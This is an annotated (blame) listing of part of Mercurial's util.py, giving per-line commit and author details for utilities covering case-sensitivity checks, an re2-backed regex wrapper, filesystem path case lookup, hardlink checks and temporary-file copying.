24902 986a5c23b1c1 util.checkcase: don't abort on broken symlinks Siddharth Agarwal <sid0@fb.com> parents: 24692 diff changeset	2117 s1 = os.lstat(path)
3784 1427949b8f80 imported patch folding Matt Mackall <mpm@selenic.com> parents: 3770 diff changeset	2118 d, b = os.path.split(path)
15667 eacfd851cb9e icasefs: consider as case sensitive if there is no counterevidence, for safety FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 15609 diff changeset	2119 b2 = b.upper()
eacfd851cb9e icasefs: consider as case sensitive if there is no counterevidence, for safety FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 15609 diff changeset	2120 if b == b2:
eacfd851cb9e icasefs: consider as case sensitive if there is no counterevidence, for safety FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 15609 diff changeset	2121 b2 = b.lower()
eacfd851cb9e icasefs: consider as case sensitive if there is no counterevidence, for safety FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 15609 diff changeset	2122 if b == b2:
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	2123 return True # no evidence against case sensitivity
15667 eacfd851cb9e icasefs: consider as case sensitive if there is no counterevidence, for safety FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 15609 diff changeset	2124 p2 = os.path.join(d, b2)
3784 1427949b8f80 imported patch folding Matt Mackall <mpm@selenic.com> parents: 3770 diff changeset	2125 try:
24902 986a5c23b1c1 util.checkcase: don't abort on broken symlinks Siddharth Agarwal <sid0@fb.com> parents: 24692 diff changeset	2126 s2 = os.lstat(p2)
3784 1427949b8f80 imported patch folding Matt Mackall <mpm@selenic.com> parents: 3770 diff changeset	2127 if s2 == s1:
1427949b8f80 imported patch folding Matt Mackall <mpm@selenic.com> parents: 3770 diff changeset	2128 return False
1427949b8f80 imported patch folding Matt Mackall <mpm@selenic.com> parents: 3770 diff changeset	2129 return True
14004 97ed99d1f419 eliminate various naked except clauses Idan Kamara <idankk86@gmail.com> parents: 13985 diff changeset	2130 except OSError:
3784 1427949b8f80 imported patch folding Matt Mackall <mpm@selenic.com> parents: 3770 diff changeset	2131 return True
1427949b8f80 imported patch folding Matt Mackall <mpm@selenic.com> parents: 3770 diff changeset	2132
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	2133
16943 8d08a28aa63e matcher: use re2 bindings if available Bryan O'Sullivan <bryano@fb.com> parents: 16873 diff changeset	2134 try:
8d08a28aa63e matcher: use re2 bindings if available Bryan O'Sullivan <bryano@fb.com> parents: 16873 diff changeset	2135 import re2
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	2136
16943 8d08a28aa63e matcher: use re2 bindings if available Bryan O'Sullivan <bryano@fb.com> parents: 16873 diff changeset	2137 _re2 = None
8d08a28aa63e matcher: use re2 bindings if available Bryan O'Sullivan <bryano@fb.com> parents: 16873 diff changeset	2138 except ImportError:
8d08a28aa63e matcher: use re2 bindings if available Bryan O'Sullivan <bryano@fb.com> parents: 16873 diff changeset	2139 _re2 = False
8d08a28aa63e matcher: use re2 bindings if available Bryan O'Sullivan <bryano@fb.com> parents: 16873 diff changeset	2140
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	2141
21908 cad9dadc9d26 util: move compilere to a class Siddharth Agarwal <sid0@fb.com> parents: 21907 diff changeset	2142 class _re(object):
21913 50aad4609224 util.re: move check for re2 into a separate method Siddharth Agarwal <sid0@fb.com> parents: 21912 diff changeset	2143 def _checkre2(self):
50aad4609224 util.re: move check for re2 into a separate method Siddharth Agarwal <sid0@fb.com> parents: 21912 diff changeset	2144 global _re2
50aad4609224 util.re: move check for re2 into a separate method Siddharth Agarwal <sid0@fb.com> parents: 21912 diff changeset	2145 try:
50aad4609224 util.re: move check for re2 into a separate method Siddharth Agarwal <sid0@fb.com> parents: 21912 diff changeset	2146 # check if match works, see issue3964
43077 687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	2147 _re2 = bool(re2.match(r'\[([^\[]+)\]', b'[ui]'))
21913 50aad4609224 util.re: move check for re2 into a separate method Siddharth Agarwal <sid0@fb.com> parents: 21912 diff changeset	2148 except ImportError:
50aad4609224 util.re: move check for re2 into a separate method Siddharth Agarwal <sid0@fb.com> parents: 21912 diff changeset	2149 _re2 = False
50aad4609224 util.re: move check for re2 into a separate method Siddharth Agarwal <sid0@fb.com> parents: 21912 diff changeset	2150
21908 cad9dadc9d26 util: move compilere to a class Siddharth Agarwal <sid0@fb.com> parents: 21907 diff changeset	2151 def compile(self, pat, flags=0):
cad9dadc9d26 util: move compilere to a class Siddharth Agarwal <sid0@fb.com> parents: 21907 diff changeset	2152 '''Compile a regular expression, using re2 if possible
16943 8d08a28aa63e matcher: use re2 bindings if available Bryan O'Sullivan <bryano@fb.com> parents: 16873 diff changeset	2153
21908 cad9dadc9d26 util: move compilere to a class Siddharth Agarwal <sid0@fb.com> parents: 21907 diff changeset	2154 For best performance, use only re2-compatible regexp features. The
cad9dadc9d26 util: move compilere to a class Siddharth Agarwal <sid0@fb.com> parents: 21907 diff changeset	2155 only flags from the re module that are re2-compatible are
cad9dadc9d26 util: move compilere to a class Siddharth Agarwal <sid0@fb.com> parents: 21907 diff changeset	2156 IGNORECASE and MULTILINE.'''
cad9dadc9d26 util: move compilere to a class Siddharth Agarwal <sid0@fb.com> parents: 21907 diff changeset	2157 if _re2 is None:
21913 50aad4609224 util.re: move check for re2 into a separate method Siddharth Agarwal <sid0@fb.com> parents: 21912 diff changeset	2158 self._checkre2()
21908 cad9dadc9d26 util: move compilere to a class Siddharth Agarwal <sid0@fb.com> parents: 21907 diff changeset	2159 if _re2 and (flags & ~(remod.IGNORECASE \| remod.MULTILINE)) == 0:
cad9dadc9d26 util: move compilere to a class Siddharth Agarwal <sid0@fb.com> parents: 21907 diff changeset	2160 if flags & remod.IGNORECASE:
43077 687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	2161 pat = b'(?i)' + pat
21908 cad9dadc9d26 util: move compilere to a class Siddharth Agarwal <sid0@fb.com> parents: 21907 diff changeset	2162 if flags & remod.MULTILINE:
43077 687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	2163 pat = b'(?m)' + pat
21908 cad9dadc9d26 util: move compilere to a class Siddharth Agarwal <sid0@fb.com> parents: 21907 diff changeset	2164 try:
cad9dadc9d26 util: move compilere to a class Siddharth Agarwal <sid0@fb.com> parents: 21907 diff changeset	2165 return re2.compile(pat)
cad9dadc9d26 util: move compilere to a class Siddharth Agarwal <sid0@fb.com> parents: 21907 diff changeset	2166 except re2.error:
cad9dadc9d26 util: move compilere to a class Siddharth Agarwal <sid0@fb.com> parents: 21907 diff changeset	2167 pass
cad9dadc9d26 util: move compilere to a class Siddharth Agarwal <sid0@fb.com> parents: 21907 diff changeset	2168 return remod.compile(pat, flags)
cad9dadc9d26 util: move compilere to a class Siddharth Agarwal <sid0@fb.com> parents: 21907 diff changeset	2169
21914 10e99839a7a4 util.re: add an escape method Siddharth Agarwal <sid0@fb.com> parents: 21913 diff changeset	2170 @propertycache
10e99839a7a4 util.re: add an escape method Siddharth Agarwal <sid0@fb.com> parents: 21913 diff changeset	2171 def escape(self):
10e99839a7a4 util.re: add an escape method Siddharth Agarwal <sid0@fb.com> parents: 21913 diff changeset	2172 '''Return the version of escape corresponding to self.compile.
10e99839a7a4 util.re: add an escape method Siddharth Agarwal <sid0@fb.com> parents: 21913 diff changeset	2173
10e99839a7a4 util.re: add an escape method Siddharth Agarwal <sid0@fb.com> parents: 21913 diff changeset	2174 This is imperfect because whether re2 or re is used for a particular
10e99839a7a4 util.re: add an escape method Siddharth Agarwal <sid0@fb.com> parents: 21913 diff changeset	2175 function depends on the flags, etc, but it's the best we can do.
10e99839a7a4 util.re: add an escape method Siddharth Agarwal <sid0@fb.com> parents: 21913 diff changeset	2176 '''
10e99839a7a4 util.re: add an escape method Siddharth Agarwal <sid0@fb.com> parents: 21913 diff changeset	2177 global _re2
10e99839a7a4 util.re: add an escape method Siddharth Agarwal <sid0@fb.com> parents: 21913 diff changeset	2178 if _re2 is None:
10e99839a7a4 util.re: add an escape method Siddharth Agarwal <sid0@fb.com> parents: 21913 diff changeset	2179 self._checkre2()
10e99839a7a4 util.re: add an escape method Siddharth Agarwal <sid0@fb.com> parents: 21913 diff changeset	2180 if _re2:
10e99839a7a4 util.re: add an escape method Siddharth Agarwal <sid0@fb.com> parents: 21913 diff changeset	2181 return re2.escape
10e99839a7a4 util.re: add an escape method Siddharth Agarwal <sid0@fb.com> parents: 21913 diff changeset	2182 else:
10e99839a7a4 util.re: add an escape method Siddharth Agarwal <sid0@fb.com> parents: 21913 diff changeset	2183 return remod.escape
10e99839a7a4 util.re: add an escape method Siddharth Agarwal <sid0@fb.com> parents: 21913 diff changeset	2184
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	2185
21908 cad9dadc9d26 util: move compilere to a class Siddharth Agarwal <sid0@fb.com> parents: 21907 diff changeset	2186 re = _re()
16943 8d08a28aa63e matcher: use re2 bindings if available Bryan O'Sullivan <bryano@fb.com> parents: 16873 diff changeset	2187
6676 33045179d079 Add a new function, fspath Paul Moore <p.f.moore@gmail.com> parents: 6595 diff changeset	2188 _fspathcache = {}
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	2189
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	2190
6676 33045179d079 Add a new function, fspath Paul Moore <p.f.moore@gmail.com> parents: 6595 diff changeset	2191 def fspath(name, root):
33045179d079 Add a new function, fspath Paul Moore <p.f.moore@gmail.com> parents: 6595 diff changeset	2192 '''Get name in the case stored in the filesystem
33045179d079 Add a new function, fspath Paul Moore <p.f.moore@gmail.com> parents: 6595 diff changeset	2193
15710 f63e40047372 icasefs: avoid path-absoluteness/existance check in util.fspath() for efficiency FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 15709 diff changeset	2194 The name should be relative to root, and be normcase-ed for efficiency.
f63e40047372 icasefs: avoid path-absoluteness/existance check in util.fspath() for efficiency FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 15709 diff changeset	2195
f63e40047372 icasefs: avoid path-absoluteness/existance check in util.fspath() for efficiency FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 15709 diff changeset	2196 Note that this function is unnecessary, and should not be
6676 33045179d079 Add a new function, fspath Paul Moore <p.f.moore@gmail.com> parents: 6595 diff changeset	2197 called, for case-sensitive filesystems (simply because it's expensive).
15670 d6c19cfa03ce icasefs: avoid normcase()-ing in util.fspath() for efficiency FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 15669 diff changeset	2198
15710 f63e40047372 icasefs: avoid path-absoluteness/existance check in util.fspath() for efficiency FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 15709 diff changeset	2199 The root should be normcase-ed, too.
6676 33045179d079 Add a new function, fspath Paul Moore <p.f.moore@gmail.com> parents: 6595 diff changeset	2200 '''
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	2201
23097 30124c40d11f util.fspath: use a dict rather than a linear scan for lookups Siddharth Agarwal <sid0@fb.com> parents: 23076 diff changeset	2202 def _makefspathcacheentry(dir):
30124c40d11f util.fspath: use a dict rather than a linear scan for lookups Siddharth Agarwal <sid0@fb.com> parents: 23076 diff changeset	2203 return dict((normcase(n), n) for n in os.listdir(dir))
15709 a1f4bd47d18e icasefs: retry directory scan once for already invalidated cache FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 15674 diff changeset	2204
30618 1112ff99d965 py3: replace os.sep with pycompat.ossep (part 1 of 4) Pulkit Goyal <7895pulkit@gmail.com> parents: 30545 diff changeset	2205 seps = pycompat.ossep
30630 bcf4a975f93d py3: replace os.altsep with pycompat.altsep Pulkit Goyal <7895pulkit@gmail.com> parents: 30618 diff changeset	2206 if pycompat.osaltsep:
bcf4a975f93d py3: replace os.altsep with pycompat.altsep Pulkit Goyal <7895pulkit@gmail.com> parents: 30618 diff changeset	2207 seps = seps + pycompat.osaltsep
6676 33045179d079 Add a new function, fspath Paul Moore <p.f.moore@gmail.com> parents: 6595 diff changeset	2208 # Protect backslashes. This gets silly very quickly.
43077 687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	2209 seps.replace(b'\\', b'\\\\')
31503 670166e0fcaa util: use bytes re on bytes input in fspath Augie Fackler <augie@google.com> parents: 31502 diff changeset	2210 pattern = remod.compile(br'([^%s]+)\|([%s]+)' % (seps, seps))
15669 390bcd01775a icasefs: use util.normcase() instead of lower() or os.path.normcase in fspath FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 15667 diff changeset	2211 dir = os.path.normpath(root)
6676 33045179d079 Add a new function, fspath Paul Moore <p.f.moore@gmail.com> parents: 6595 diff changeset	2212 result = []
33045179d079 Add a new function, fspath Paul Moore <p.f.moore@gmail.com> parents: 6595 diff changeset	2213 for part, sep in pattern.findall(name):
33045179d079 Add a new function, fspath Paul Moore <p.f.moore@gmail.com> parents: 6595 diff changeset	2214 if sep:
33045179d079 Add a new function, fspath Paul Moore <p.f.moore@gmail.com> parents: 6595 diff changeset	2215 result.append(sep)
33045179d079 Add a new function, fspath Paul Moore <p.f.moore@gmail.com> parents: 6595 diff changeset	2216 continue
33045179d079 Add a new function, fspath Paul Moore <p.f.moore@gmail.com> parents: 6595 diff changeset	2217
15719 1dd60426b061 icasefs: follow standard cache look up pattern FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 15718 diff changeset	2218 if dir not in _fspathcache:
23097 30124c40d11f util.fspath: use a dict rather than a linear scan for lookups Siddharth Agarwal <sid0@fb.com> parents: 23076 diff changeset	2219 _fspathcache[dir] = _makefspathcacheentry(dir)
15719 1dd60426b061 icasefs: follow standard cache look up pattern FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 15718 diff changeset	2220 contents = _fspathcache[dir]
6676 33045179d079 Add a new function, fspath Paul Moore <p.f.moore@gmail.com> parents: 6595 diff changeset	2221
23097 30124c40d11f util.fspath: use a dict rather than a linear scan for lookups Siddharth Agarwal <sid0@fb.com> parents: 23076 diff changeset	2222 found = contents.get(part)
15709 a1f4bd47d18e icasefs: retry directory scan once for already invalidated cache FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 15674 diff changeset	2223 if not found:
15720 3bcfea777efc icasefs: rewrite comment to explain situtation precisely FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 15719 diff changeset	2224 # retry "once per directory" per "dirstate.walk" which
3bcfea777efc icasefs: rewrite comment to explain situtation precisely FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 15719 diff changeset	2225 # may take place for each patches of "hg qpush", for example
23097 30124c40d11f util.fspath: use a dict rather than a linear scan for lookups Siddharth Agarwal <sid0@fb.com> parents: 23076 diff changeset	2226 _fspathcache[dir] = contents = _makefspathcacheentry(dir)
30124c40d11f util.fspath: use a dict rather than a linear scan for lookups Siddharth Agarwal <sid0@fb.com> parents: 23076 diff changeset	2227 found = contents.get(part)
15709 a1f4bd47d18e icasefs: retry directory scan once for already invalidated cache FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 15674 diff changeset	2228
a1f4bd47d18e icasefs: retry directory scan once for already invalidated cache FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 15674 diff changeset	2229 result.append(found or part)
15669 390bcd01775a icasefs: use util.normcase() instead of lower() or os.path.normcase in fspath FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 15667 diff changeset	2230 dir = os.path.join(dir, part)
6676 33045179d079 Add a new function, fspath Paul Moore <p.f.moore@gmail.com> parents: 6595 diff changeset	2231
43077 687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	2232 return b''.join(result)
6676 33045179d079 Add a new function, fspath Paul Moore <p.f.moore@gmail.com> parents: 6595 diff changeset	2233
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	2234
12938 bf826c0b9537 opener: check hardlink count reporting (issue1866) Adrian Buehlmann <adrian@cadifra.com> parents: 12927 diff changeset	2235 def checknlink(testfile):
bf826c0b9537 opener: check hardlink count reporting (issue1866) Adrian Buehlmann <adrian@cadifra.com> parents: 12927 diff changeset	2236 '''check whether hardlink count reporting works properly'''
bf826c0b9537 opener: check hardlink count reporting (issue1866) Adrian Buehlmann <adrian@cadifra.com> parents: 12927 diff changeset	2237
13204 5b83ab614dab checknlink: use two testfiles (issue2543) Adrian Buehlmann <adrian@cadifra.com> parents: 13188 diff changeset	2238 # testfile may be open, so we need a separate file for checking to
5b83ab614dab checknlink: use two testfiles (issue2543) Adrian Buehlmann <adrian@cadifra.com> parents: 13188 diff changeset	2239 # work around issue2543 (or testfile may get lost on Samba shares)
34101 6c5cdb02f2f9 checknlink: rename file object from 'fd' to 'fp' Jun Wu <quark@fb.com> parents: 34096 diff changeset	2240 f1, f2, fp = None, None, None
12938 bf826c0b9537 opener: check hardlink count reporting (issue1866) Adrian Buehlmann <adrian@cadifra.com> parents: 12927 diff changeset	2241 try:
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	2242 fd, f1 = pycompat.mkstemp(
43077 687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	2243 prefix=b'.%s-' % os.path.basename(testfile),
687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	2244 suffix=b'1~',
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	2245 dir=os.path.dirname(testfile),
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	2246 )
34096 1104718fb090 checknlink: use a random temp file name for checking Jun Wu <quark@fb.com> parents: 34089 diff changeset	2247 os.close(fd)
43077 687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	2248 f2 = b'%s2~' % f1[:-2]
34096 1104718fb090 checknlink: use a random temp file name for checking Jun Wu <quark@fb.com> parents: 34089 diff changeset	2249
25088 754df8e932d3 util: use try/except/finally Matt Mackall <mpm@selenic.com> parents: 24902 diff changeset	2250 oslink(f1, f2)
12938 bf826c0b9537 opener: check hardlink count reporting (issue1866) Adrian Buehlmann <adrian@cadifra.com> parents: 12927 diff changeset	2251 # nlinks() may behave differently for files on Windows shares if
bf826c0b9537 opener: check hardlink count reporting (issue1866) Adrian Buehlmann <adrian@cadifra.com> parents: 12927 diff changeset	2252 # the file is open.
34101 6c5cdb02f2f9 checknlink: rename file object from 'fd' to 'fp' Jun Wu <quark@fb.com> parents: 34096 diff changeset	2253 fp = posixfile(f2)
13204 5b83ab614dab checknlink: use two testfiles (issue2543) Adrian Buehlmann <adrian@cadifra.com> parents: 13188 diff changeset	2254 return nlinks(f2) > 1
25088 754df8e932d3 util: use try/except/finally Matt Mackall <mpm@selenic.com> parents: 24902 diff changeset	2255 except OSError:
754df8e932d3 util: use try/except/finally Matt Mackall <mpm@selenic.com> parents: 24902 diff changeset	2256 return False
12938 bf826c0b9537 opener: check hardlink count reporting (issue1866) Adrian Buehlmann <adrian@cadifra.com> parents: 12927 diff changeset	2257 finally:
34101 6c5cdb02f2f9 checknlink: rename file object from 'fd' to 'fp' Jun Wu <quark@fb.com> parents: 34096 diff changeset	2258 if fp is not None:
6c5cdb02f2f9 checknlink: rename file object from 'fd' to 'fp' Jun Wu <quark@fb.com> parents: 34096 diff changeset	2259 fp.close()
13204 5b83ab614dab checknlink: use two testfiles (issue2543) Adrian Buehlmann <adrian@cadifra.com> parents: 13188 diff changeset	2260 for f in (f1, f2):
5b83ab614dab checknlink: use two testfiles (issue2543) Adrian Buehlmann <adrian@cadifra.com> parents: 13188 diff changeset	2261 try:
34096 1104718fb090 checknlink: use a random temp file name for checking Jun Wu <quark@fb.com> parents: 34089 diff changeset	2262 if f is not None:
1104718fb090 checknlink: use a random temp file name for checking Jun Wu <quark@fb.com> parents: 34089 diff changeset	2263 os.unlink(f)
13204 5b83ab614dab checknlink: use two testfiles (issue2543) Adrian Buehlmann <adrian@cadifra.com> parents: 13188 diff changeset	2264 except OSError:
5b83ab614dab checknlink: use two testfiles (issue2543) Adrian Buehlmann <adrian@cadifra.com> parents: 13188 diff changeset	2265 pass
12938 bf826c0b9537 opener: check hardlink count reporting (issue1866) Adrian Buehlmann <adrian@cadifra.com> parents: 12927 diff changeset	2266
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	2267
5843 83c354c4d529 Add endswithsep() and use it instead of using os.sep and os.altsep directly. Shun-ichi GOTO <shunichi.goto@gmail.com> parents: 5802 diff changeset	2268 def endswithsep(path):
83c354c4d529 Add endswithsep() and use it instead of using os.sep and os.altsep directly. Shun-ichi GOTO <shunichi.goto@gmail.com> parents: 5802 diff changeset	2269 '''Check path ends with os.sep or os.altsep.'''
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	2270 return (
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	2271 path.endswith(pycompat.ossep)
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	2272 or pycompat.osaltsep
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	2273 and path.endswith(pycompat.osaltsep)
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	2274 )
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	2275
5843 83c354c4d529 Add endswithsep() and use it instead of using os.sep and os.altsep directly. Shun-ichi GOTO <shunichi.goto@gmail.com> parents: 5802 diff changeset	2276
5844 07d8eb78dd68 Add util.splitpath() and use it instead of using os.sep directly. Shun-ichi GOTO <shunichi.goto@gmail.com> parents: 5843 diff changeset	2277 def splitpath(path):
07d8eb78dd68 Add util.splitpath() and use it instead of using os.sep directly. Shun-ichi GOTO <shunichi.goto@gmail.com> parents: 5843 diff changeset	2278 '''Split path by os.sep.
07d8eb78dd68 Add util.splitpath() and use it instead of using os.sep directly. Shun-ichi GOTO <shunichi.goto@gmail.com> parents: 5843 diff changeset	2279 Note that this function does not use os.altsep because this is
07d8eb78dd68 Add util.splitpath() and use it instead of using os.sep directly. Shun-ichi GOTO <shunichi.goto@gmail.com> parents: 5843 diff changeset	2280 an alternative of simple "xxx.split(os.sep)".
07d8eb78dd68 Add util.splitpath() and use it instead of using os.sep directly. Shun-ichi GOTO <shunichi.goto@gmail.com> parents: 5843 diff changeset	2281 It is recommended to use os.path.normpath() before using this
07d8eb78dd68 Add util.splitpath() and use it instead of using os.sep directly. Shun-ichi GOTO <shunichi.goto@gmail.com> parents: 5843 diff changeset	2282 function if need.'''
30618 1112ff99d965 py3: replace os.sep with pycompat.ossep (part 1 of 4) Pulkit Goyal <7895pulkit@gmail.com> parents: 30545 diff changeset	2283 return path.split(pycompat.ossep)
5844 07d8eb78dd68 Add util.splitpath() and use it instead of using os.sep directly. Shun-ichi GOTO <shunichi.goto@gmail.com> parents: 5843 diff changeset	2284
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	2285
41289 593f6359681d update: fix edge-case with update.atomic-file and read-only files Boris Feld <boris.feld@octobus.net> parents: 40898 diff changeset	2286 def mktempcopy(name, emptyok=False, createmode=None, enforcewritable=False):
4827 89defeae88f3 turn util.opener into a class Alexis S. L. Carvalho <alexis@cecm.usp.br> parents: 4803 diff changeset	2287 """Create a temporary file with the same contents from name
89defeae88f3 turn util.opener into a class Alexis S. L. Carvalho <alexis@cecm.usp.br> parents: 4803 diff changeset	2288
89defeae88f3 turn util.opener into a class Alexis S. L. Carvalho <alexis@cecm.usp.br> parents: 4803 diff changeset	2289 The permission bits are copied from the original file.
89defeae88f3 turn util.opener into a class Alexis S. L. Carvalho <alexis@cecm.usp.br> parents: 4803 diff changeset	2290
89defeae88f3 turn util.opener into a class Alexis S. L. Carvalho <alexis@cecm.usp.br> parents: 4803 diff changeset	2291 If the temporary file is going to be truncated immediately, you
89defeae88f3 turn util.opener into a class Alexis S. L. Carvalho <alexis@cecm.usp.br> parents: 4803 diff changeset	2292 can use emptyok=True as an optimization.
89defeae88f3 turn util.opener into a class Alexis S. L. Carvalho <alexis@cecm.usp.br> parents: 4803 diff changeset	2293
89defeae88f3 turn util.opener into a class Alexis S. L. Carvalho <alexis@cecm.usp.br> parents: 4803 diff changeset	2294 Returns the name of the temporary file.
2176 9b42304d9896 fix file handling bugs on windows. Vadim Gelfer <vadim.gelfer@gmail.com> parents: 2117 diff changeset	2295 """
4827 89defeae88f3 turn util.opener into a class Alexis S. L. Carvalho <alexis@cecm.usp.br> parents: 4803 diff changeset	2296 d, fn = os.path.split(name)
43077 687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	2297 fd, temp = pycompat.mkstemp(prefix=b'.%s-' % fn, suffix=b'~', dir=d)
4827 89defeae88f3 turn util.opener into a class Alexis S. L. Carvalho <alexis@cecm.usp.br> parents: 4803 diff changeset	2298 os.close(fd)
89defeae88f3 turn util.opener into a class Alexis S. L. Carvalho <alexis@cecm.usp.br> parents: 4803 diff changeset	2299 # Temporary files are created with mode 0600, which is usually not
89defeae88f3 turn util.opener into a class Alexis S. L. Carvalho <alexis@cecm.usp.br> parents: 4803 diff changeset	2300 # what we want. If the original file already exists, just copy
89defeae88f3 turn util.opener into a class Alexis S. L. Carvalho <alexis@cecm.usp.br> parents: 4803 diff changeset	2301 # its mode. Otherwise, manually obey umask.
41289 593f6359681d update: fix edge-case with update.atomic-file and read-only files Boris Feld <boris.feld@octobus.net> parents: 40898 diff changeset	2302 copymode(name, temp, createmode, enforcewritable)
593f6359681d update: fix edge-case with update.atomic-file and read-only files Boris Feld <boris.feld@octobus.net> parents: 40898 diff changeset	2303
4827 89defeae88f3 turn util.opener into a class Alexis S. L. Carvalho <alexis@cecm.usp.br> parents: 4803 diff changeset	2304 if emptyok:
89defeae88f3 turn util.opener into a class Alexis S. L. Carvalho <alexis@cecm.usp.br> parents: 4803 diff changeset	2305 return temp
89defeae88f3 turn util.opener into a class Alexis S. L. Carvalho <alexis@cecm.usp.br> parents: 4803 diff changeset	2306 try:
89defeae88f3 turn util.opener into a class Alexis S. L. Carvalho <alexis@cecm.usp.br> parents: 4803 diff changeset	2307 try:
43077 687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	2308 ifp = posixfile(name, b"rb")
25660 328739ea70c3 global: mass rewrite to use modern exception syntax Gregory Szorc <gregory.szorc@gmail.com> parents: 25420 diff changeset	2309 except IOError as inst:
4827 89defeae88f3 turn util.opener into a class Alexis S. L. Carvalho <alexis@cecm.usp.br> parents: 4803 diff changeset	2310 if inst.errno == errno.ENOENT:
89defeae88f3 turn util.opener into a class Alexis S. L. Carvalho <alexis@cecm.usp.br> parents: 4803 diff changeset	2311 return temp
89defeae88f3 turn util.opener into a class Alexis S. L. Carvalho <alexis@cecm.usp.br> parents: 4803 diff changeset	2312 if not getattr(inst, 'filename', None):
89defeae88f3 turn util.opener into a class Alexis S. L. Carvalho <alexis@cecm.usp.br> parents: 4803 diff changeset	2313 inst.filename = name
89defeae88f3 turn util.opener into a class Alexis S. L. Carvalho <alexis@cecm.usp.br> parents: 4803 diff changeset	2314 raise
43077 687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	2315 ofp = posixfile(temp, b"wb")
4827 89defeae88f3 turn util.opener into a class Alexis S. L. Carvalho <alexis@cecm.usp.br> parents: 4803 diff changeset	2316 for chunk in filechunkiter(ifp):
89defeae88f3 turn util.opener into a class Alexis S. L. Carvalho <alexis@cecm.usp.br> parents: 4803 diff changeset	2317 ofp.write(chunk)
89defeae88f3 turn util.opener into a class Alexis S. L. Carvalho <alexis@cecm.usp.br> parents: 4803 diff changeset	2318 ifp.close()
89defeae88f3 turn util.opener into a class Alexis S. L. Carvalho <alexis@cecm.usp.br> parents: 4803 diff changeset	2319 ofp.close()
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	2320 except: # re-raises
34436 5326e4ef1dab style: never put multiple statements on one line Alex Gaynor <agaynor@mozilla.com> parents: 34363 diff changeset	2321 try:
5326e4ef1dab style: never put multiple statements on one line Alex Gaynor <agaynor@mozilla.com> parents: 34363 diff changeset	2322 os.unlink(temp)
5326e4ef1dab style: never put multiple statements on one line Alex Gaynor <agaynor@mozilla.com> parents: 34363 diff changeset	2323 except OSError:
5326e4ef1dab style: never put multiple statements on one line Alex Gaynor <agaynor@mozilla.com> parents: 34363 diff changeset	2324 pass
4827 89defeae88f3 turn util.opener into a class Alexis S. L. Carvalho <alexis@cecm.usp.br> parents: 4803 diff changeset	2325 raise
89defeae88f3 turn util.opener into a class Alexis S. L. Carvalho <alexis@cecm.usp.br> parents: 4803 diff changeset	2326 return temp
